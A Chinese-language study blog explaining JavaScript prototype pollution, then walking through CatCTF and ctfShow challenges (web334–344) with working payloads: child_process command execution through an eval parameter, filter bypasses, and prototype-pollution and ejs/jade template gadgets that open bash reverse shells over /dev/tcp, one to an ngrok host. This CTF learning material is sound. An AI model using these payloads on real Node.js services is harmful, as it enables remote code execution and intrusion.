# 前言

最近总是遇到原型链污染的题目,之前也是没有接触到这一块,下来后去翻了翻这块的文章学习一下,这里做一个简单的记录

# 什么是原型链污染

学习之前我们至少需要知道原型链污染是一个什么样的东西,原型链污染主要发生在 JavaScript 的运行过程中,攻击者可以通过原型链污染来控制对象属性的值,篡改应用服务的逻辑,甚至进行代码执行

# 前置知识

# 什么是原型

原型链污染当然是绕不开原型这个主角,那么什么是原型呢,先看这样一个例子

function Clown(){
    this.name="admin"
    this.type="string"
    this.demo = function (){
        console.log("输出demo")
    }
}
var a = new Clown()
a.demo()

image-20230711154452628

在 JavaScript 中,如果我们需要定义一个类,需要通过定义 “构造函数” 的方式来构造,类中的方法我们可以定义在构造函数内部,这里是能够正常使用的,再看下面这个例子

function Clown(){
    this.name="admin"
    this.type="string"
}
Clown.prototype.demo = function (){
    console.log("1")
}
let clown = new Clown()
clown.demo()

image-20230711160502070

这里好像都是能够正常调用的,那么既然已经有了第一种定义方法的方式为什么还要有第二种呢?大致有下面几种原因

  1. 内存占用:使用原型定义方法可以使得所有实例共享相同的方法。而直接在构造函数中定义方法会在每个实例上创建方法的副本,导致内存占用增加,尤其在创建大量实例时。
  2. 动态性:通过原型定义方法,可以在运行时动态地更新所有实例的方法。当你修改原型对象上的方法时,所有实例都会受到影响。而如果直接在构造函数中定义方法,你需要重新创建实例才能使用更新后的方法。
  3. 继承和多态性:使用原型链继承,可以通过指定一个对象的原型为另一个对象来实现继承和多态性。这样可以在继承链中共享和重写方法。直接在构造函数中定义方法不能轻松实现继承和多态性的概念

基于这些优点,越是体系大的应用体系中越是明显,所以原型的使用还是非常有必要的

值得注意的是,实例化的对象想要使用原型定义是不被运行的,比如下面这个例子

function Clown(){
    this.name="admin"
    this.type="string"
}
Clown.prototype.demo = function (){
    console.log("1")
}
Clown.prototype.a = "aaaaa"
let clown = new Clown();
clown.a = "bbbb"
console.log(clown.a)
clown.prototype.b = "test";

运行结果

image-20230712121942961

这里先通过 Clown 类去通过 prototype 定义是被允许的,同样也能够通过实例化后的对象去访问,但是想要通过实例化后的对象去定义一个原型出现了报错,有没有办法解决这个问题呢?当然是有的,__proto__这样一个东西就出现了,看下面这样一个例子

function Clown(){
    this.name="admin"
    this.type="string"
}
Clown.prototype.demo = function (){
    console.log("1")
}
let clown = new Clown();
console.log(Clown.prototype === clown.__proto__)

image-20230712123438919

总结(摘自 https://www.leavesongs.com
1、prototype 是一个类的属性,所有类对象在实例化的时候将会拥有 prototype 中的属性和方法
2、一个对象的__proto__属性,指向这个对象所在的类的 prototype 属性

# 原型链继承

先看这样一个例子

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}
function Son() {
    this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

image-20230712220447625

这里就和 java 的继承很像,这里最后输出的是 Name: Melania Trump,很显然这里 Son 是没有 last_name 这个属性

这里在调用 son.last_name 时首先会在 Son 中寻找,如果找不到就会在 Son.__proto__中寻找,找不到再去 Son.__proto__.__proto__寻找,直到找到 null 结束

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(son.__proto__)

image-20230712221435818

这里找到就会直接去调用

# 原型链污染

进过前面的学习,对 nodejs 的原型和原型链继承有了一个了解,接下来的篇幅正片开始

PS:这里 node 是 JavaScript 是运行环境,上面这些代码都可以在浏览器的控制台运行,这里我使用的是 WebStorm

看先面这个例子

let a = {
    test : "a"
}
a. __proto__.test="b"
Object.prototype.qqqq=1
console.log(a.__proto__)
console.log(a.test)
let b = {}
console.log(b.test)

image-20230712222759968

这里可以看见,值为空的 b,也能通过 b.test 去输出一个值,首先这里定义了一个 a,a 是一个 Object 类的实例,然后修改了原型 a. __proto__.test="b",他实际等于 Object.prototype.test = "b",所以 b 这个对象自然也就有了 test 属性

像这样,控制修改一个对象的原型,导致所有和这个对象来自同一个类、父祖类的对象都被修改就叫做原型链污染,简单来说被 new 出来的实例会通过__proto__影响到原来的类

# 巩固

只有理论是行不通滴,这里找几道题来练习一下

# CatCTF 2022 wife_wife

一道简单的 js 原型链污染,要邀请码才能注册为 admin,普通用户只能拿到 wife,没有 flag。

这里在 github 上面翻了翻源码

app.post('/register', (req, res) => {
    let user = JSON.parse(req.body)
    if (!user.username || !user.password) {
        return res.json({ msg: 'empty username or password', err: true })
    }
    if (users.filter(u => u.username == user.username).length) {
        return res.json({ msg: 'username already exists', err: true })
    }
    if (user.isAdmin && user.inviteCode != INVITE_CODE) {
        user.isAdmin = false
        return res.json({ msg: 'invalid invite code', err: true })
    }
    let newUser = Object.assign({}, baseUser, user)
    users.push(newUser)
    res.json({ msg: 'user created successfully', err: false })
})

上面的代码是 register 部分,这里可以看到这里使用了 Object.assign,将 baseUser 和 user 的属性合并后拷贝到 {} 中

image-20230713130240833

这里这样构造就能注册成功

# ctfShow

# <font size=5>web334</font>

这里给了两个文件

#login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});
module.exports = router;

#user.js
module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

这里在 user.js 这里直接给到了用户名和密码,这里直接登录

image-20230713135447187

# <font size=5>web335</font>

这题看到源码有一个 eval 参数

image-20230713144300225

这里应该使用的是 eval 函数,JavaScript 中 eval 函数和 php 中一样,都会将传入的字符串当做代码执行,这里也是记录一下

# <font size=5>child_process</font>

一个 node 的子进程的 API,可以创建一个子进程用于命令执行,下面是 4 中创建子进程的方式

  1. child_process.exec(command[, options][, callback])

    创建一个 shell,然后在 shell 里执行命令。执行完成后,将 stdout、stderr 作为参数传入回调方法。

    let test = require("child_process")
    test.exec('dir', (error,stdout) => {
        console.log('stdout: ' + stdout);
    })

    image-20230713182530606

    这里可以看到能够列出当前目录

  2. child_process.execFile(file[, args][, options][, callback])

    跟 .exec () 类似,不同点在于,没有创建一个新的 shell,options 参数与 exec 一样;这个方式是去运行一个可执行文件

这里直接构造 payload

require("child_process").execSync('ls')
require("child_process").execSync(%27cat%20fl00g.txt%27)

image-20230713210454290

# web336

image-20230713210920570

同样的配方,不过这里过滤了 exec,这里可以先通过全局变量__filename 来看一下当前模版文件的绝对路径

image-20230713212107959

PS:__dirname 可以返回当前目录的绝对路径

然后读取文件

?eval=require('fs').readFileSync('/app/routes/index.js','utf-8')

image-20230713212421916

使用 spawnSync 也是一样的作用

?eval=require("child_process").spawnSync(%27ls%27).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

image-20230713211238716

这里换了一种方法,但是如果两种方法都被过滤了该怎么做呢?在 php 中这种情况可以使用字符串拼接的方式,这里当然也是可以的,PS:因为 + 会被解析为空格,所以这里使用编码 %2b

?eval=eval("require('child_process').exe"%2b"cSync('ls')")

image-20230713212313742

这里前面读取文件的时候使用了 fs 这样一个包,这里同样也可以通过它来读取 flag

?eval=require('fs').readdirSync('.')
?eval=require('fs').readFileSync('fl001g.txt','utf-8')

image-20230713212552850

# web337

题目介绍中给了这样一段信息

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键点就是那个 if 判断,这里直接用之前做题的思路,数组绕过即可

image-20230714071005380

# web338

这题源码都给我们了,简单看一下,发现当 secert.ctfshow==='36dboy' 的时候能拿到 flag

image-20230714071318743

这里的利用点其实就是在 copy 这个函数中

image-20230714071658698

这里和网上的师傅介绍原型链污染的时候给的例子一样这里因为 user 和 secert 都是直接继承 Object 这里通过 user 去污染 Object 即可

image-20230714072613626

# web339

image-20230714073255520

相较于上一题这里做了一些改变,这里想要相等完全是不可能的,就需要找新的利用点

image-20230714073539722

这里看到相较于上一题多了一个 api 文件,这里这个 query 很显然也是来自 Object,这里直接污染后 rce 反弹 shell 即可

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}

这里因为 Function 的环境没有 require 函数不能获得 child_process 模块,这里用 process.mainModule.constructor._load 就行

# web340

做法与上一题一样

image-20230714075507359

不过这里 user 是一个类,那么 user.__proto__就不是指向 Object.prototype 了 user.__proto.__proto__才是,这里 payload 简单改一下即可

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1\"')"}}}

# web341

预期解 ejs rce
payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"');var __tmp2"}}}

然后再刷新一下页面

# web342,web343

jade 原型链污染 https://xz.aliyun.com/t/7025

{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/6.tcp.ngrok.io/11125>&1\"')"}}}

在 login 页面打上去之后随便访问下,就会反弹

# web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

这里直接这样传就行

?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

image-20230714081559412